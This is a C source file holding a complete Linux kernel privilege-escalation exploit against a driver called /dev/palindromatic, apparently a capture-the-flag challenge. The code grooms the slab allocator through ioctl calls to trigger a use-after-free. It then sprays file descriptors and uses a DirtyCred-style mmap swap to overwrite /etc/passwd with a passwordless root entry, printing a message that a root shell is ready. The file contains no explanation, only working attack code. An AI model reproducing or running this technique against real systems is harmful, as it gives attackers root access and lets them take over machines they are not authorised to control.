#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <err.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sched.h>
#include <sys/mman.h>
#include <stdlib.h>
enum : unsigned int
{
QUEUE = 0xb10500a,
SANITIZE,
RESET,
PROCESS,
REAP,
QUERY
};
typedef enum ptype : unsigned long
{
RAW = 0x1337,
SANITIZED,
PALINDROME,
NONPALINDROME
} ptype;
#define TARGET_SZ 0x400
#define STRING_SZ ((TARGET_SZ-2*sizeof(unsigned long))/2)
typedef struct request_t
{
ptype type;
unsigned long magic;
char str[STRING_SZ];
char sanstr[STRING_SZ];
} request_t;
typedef struct arg_t
{
char *buffer;
} arg_t;
#define QUEUE_SZ 0x100
#define OBJS_PER_SLAB (8UL)
#define CPU_PARTIAL (24UL)
#define OBJ_SIZE (0x400UL)
#define MSG_SPRAYS (512)
#define KEY_SPRAYS (512)
#define try(expr)({ \
int _i = (expr); \
if (0 > _i) { \
errx(1, "error at %s:%d: returned %d, %s\n", __FILE__, __LINE__, _i, strerror(errno)); \
} \
_i; \
})
#define warn(expr)({ \
int _i = (expr); \
if (0 > _i) { \
printf("pwn: error at %s:%d: returned %d, %s\n", __FILE__, __LINE__, _i, strerror(errno)); \
} \
_i; \
})
typedef struct {
uint16_t incoming;
uint16_t outgoing;
} __attribute__((packed)) capacity;
int dfd;
capacity unused(capacity *cap) {
union {
capacity cap;
long status;
} response;
response.status = try(ioctl(dfd, QUERY));
*cap = response.cap;
return *cap;
}
capacity used(capacity *cap) {
unused(cap);
cap->incoming = QUEUE_SZ - cap->incoming;
cap->outgoing = QUEUE_SZ - cap->outgoing;
return *cap;
}
void prompt(char *str) {
printf("%s", str);
getchar();
warn(ioctl(dfd, QUERY));
}
int busyloop(void *arg) {
while (1) {}
}
int main() {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf("[+] starting exploit\n");
dfd = try(open("/dev/palindromatic", O_RDONLY));
char repeat[TARGET_SZ] = {0};
memset(repeat, 0x41, sizeof(repeat));
arg_t req = { .buffer = repeat, };
capacity cap;
int count = 0;
for (int i = 0; i < OBJS_PER_SLAB; i++) {
try (ioctl(dfd, QUEUE, &req));
count++;
}
for (int i = 0; i < OBJS_PER_SLAB * (CPU_PARTIAL - 1); i++) {
try(ioctl(dfd, QUEUE, &req));
count++;
}
try(ioctl(dfd, SANITIZE));
for (int i = 0; i < OBJS_PER_SLAB; i++) {
try(ioctl(dfd, PROCESS));
used(&cap);
printf("(%03x): incoming: %d, outgoing: %d\n", i, cap.incoming, cap.outgoing);
if (cap.incoming + cap.outgoing != count) {
printf("chunk uafed\n");
break;
}
}
if (cap.incoming + cap.outgoing == count) {
errx(1, "failed to uaf chunk");
}
for (int i = 0; i < OBJS_PER_SLAB; i++) {
try(ioctl(dfd, QUEUE, &req));
}
printf("[+] freeing reference in outgoing list\n");
int outgoing = cap.outgoing;
for (int i = 0; i < outgoing; i++) {
try(ioctl(dfd, REAP));
used(&cap);
printf("(%03x): incoming: %d, outgoing: %d\n", i, cap.incoming, cap.outgoing);
}
try(ioctl(dfd, RESET));
while (outgoing != OBJS_PER_SLAB - 1) {
try(ioctl(dfd, RESET));
outgoing += 1;
}
printf("[+] filling outgoing list\n");
for (int i = 0; i < OBJS_PER_SLAB * (CPU_PARTIAL - 1); i++) {
int before = used(&cap).incoming;
try(ioctl(dfd, PROCESS));
int after = used(&cap).incoming;
if (after + 1 != before) {
printf("[+] after: %d, before: %d\n", after, before);
errx(1, "something went wrong???");
}
}
for (int i = 0; i < 8; i++) {
try(ioctl(dfd, PROCESS));
}
try(ioctl(dfd, PROCESS));
for (int i = 0; i < OBJS_PER_SLAB * CPU_PARTIAL; i++) {
try(ioctl(dfd, REAP));
}
used(&cap);
printf("incoming: %d, outgoing; %d\n", cap.incoming, cap.outgoing);
#define NUM_SPRAY_FDS (0x300)
int spray_fds[NUM_SPRAY_FDS];
for (int i = 0; i < NUM_SPRAY_FDS; i++) {
spray_fds[i] = try(open("/tmp/a", O_RDWR));
}
try(ioctl(dfd, RESET));
try(ioctl(dfd, RESET));
int spray_fds_2[NUM_SPRAY_FDS];
for (int i = 0; i < NUM_SPRAY_FDS; i++) {
spray_fds_2[i] = open("/tmp/a", O_RDWR);
lseek(spray_fds_2[i], 0x8, SEEK_SET);
}
int freed_fd = -1;
for (int i = 0; i < NUM_SPRAY_FDS; i++) {
if (lseek(spray_fds[i], 0 ,SEEK_CUR) == 0x8) {
freed_fd = spray_fds[i];
lseek(freed_fd, 0x0, SEEK_SET);
printf("[+] Found freed fd: %d\n", freed_fd);
}
}
if (freed_fd == -1)
errx(1, "failed to find freed fd");
puts("[+] DirtyCred via mmap");
char *file_mmap = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, freed_fd, 0);
close(freed_fd);
for (int i = 0; i < NUM_SPRAY_FDS; i++) {
close(spray_fds_2[i]);
}
for (int i = 0; i < NUM_SPRAY_FDS; i++) {
spray_fds[i] = open("/etc/passwd", O_RDONLY);
}
strcpy(file_mmap, "root::0:0:root:/root:/bin/sh\n");
puts("[+] Finished! Open root shell...");
puts("=======================");
while (1) {}
}